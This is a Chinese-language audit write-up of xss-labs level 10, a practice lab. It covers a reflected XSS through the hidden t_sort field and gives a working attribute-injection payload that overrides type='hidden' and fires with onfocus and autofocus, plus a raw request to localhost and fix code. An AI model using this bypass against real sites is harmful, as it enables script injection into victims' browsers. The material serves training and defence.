xss-labs Level10 代码审计报告
目标文件:
level10.php| 漏洞类型: 反射型 XSS —— 隐藏字段属性注入(hidden input 覆盖type) | CWE: CWE-79 / CWE-80 | 危害等级: 中危
风险路径:GET /level10.php?t_sort=<payload>→<input name="t_sort" value="..." type="hidden">
一、漏洞代码定位
level10.php 第 17-26 行:
$str = $_GET["keyword"]; // L17 主输入(在 h2 中被转义,安全)
$str11 = $_GET["t_sort"]; // L18 隐藏参数:真正入口
$str22 = str_replace(">", "", $str11); // L19 删除 >
$str33 = str_replace("<", "", $str22); // L20 删除 <
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden"> // L25 危险:value 未转义,隐藏字段
</form>
</center>';
漏洞点: L25。t_sort 经过 </> 删除后拼入 type="hidden" 输入的 value 属性,未转义引号。攻击入口不是表面上的 keyword,而是隐藏的 t_sort。
二、漏洞原理
keyword在回显处被htmlspecialchars转义,直接注keyword无效 —— 真正的注入点是被开发者忽略的隐藏参数t_sort。</>被删除,无法注入新标签,但:value属性未转义,可用双引号闭合;- 该输入本身是
type="hidden",hidden 元素不可聚焦、不触发onfocus/onmouseover等事件,直接注入事件无效; - 关键绕过: 注入的属性在原生
type="hidden"之前,可用type="text"覆盖 hidden 类型(HTML 中重复属性取第一个值),把输入变成可见可聚焦元素,再配合onfocus+autofocus自动触发。
- 已实测:
" type="text" onfocus=alert(1) autofocus="经</>删除后原样保留,可正常注入。
三、利用方式与 Yakit 可重放数据包
Payload(URL 解码后,注入 t_sort 而非 keyword):
?t_sort=" type="text" onfocus=alert(1) autofocus="
渲染结果:
<input name="t_sort" value="" type="text" onfocus=alert(1) autofocus="" type="hidden">
→ 输入框变成 type=text 并 autofocus,聚焦触发 onfocus=alert(1)。
Yakit 可重放原始请求:
GET /level10.php?t_sort=%22%20type=%22text%22%20onfocus=alert(1)%20autofocus=%22 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
触发方式: 页面加载自动聚焦该输入框 → onfocus 触发 alert(1) → 命中通关逻辑跳转 level11。
四、修复建议
// 服务端:隐藏字段不应由客户端任意指定;用枚举白名单
$t_sort = $_GET["t_sort"] ?? "default";
$allowed = ["asc", "desc", "default"];
$t_sort = in_array($t_sort, $allowed, true) ? $t_sort : "default";
// 输出:无论何种字段,进入 value 一律 ENT_QUOTES 转义
$safe = htmlspecialchars($t_sort, ENT_QUOTES, 'UTF-8');
echo '<input name="t_sort" value="'.$safe.'" type="hidden">';
要点:
- 隐藏字段输入必须校验(枚举/白名单),它们和可见输入一样可达、常被开发者忽略 —— 本关即典型。
- 输出编码
ENT_QUOTES。 - 不要在页面里输出"用户可控的隐藏字段"用于服务端逻辑;若必用,服务端以会话/服务端数据为准。
五、备注
- 本关 3 个隐藏输入(
t_link/t_history/t_sort)只有t_sort是回显注入点,审计时需逐个排查每个输出点,而非只看主参数。 - 该"覆盖 type 触发事件"技巧对 Level11/12/13 的隐藏字段注入同样适用(它们分别从 Referer / UA / Cookie 取数)。
正文完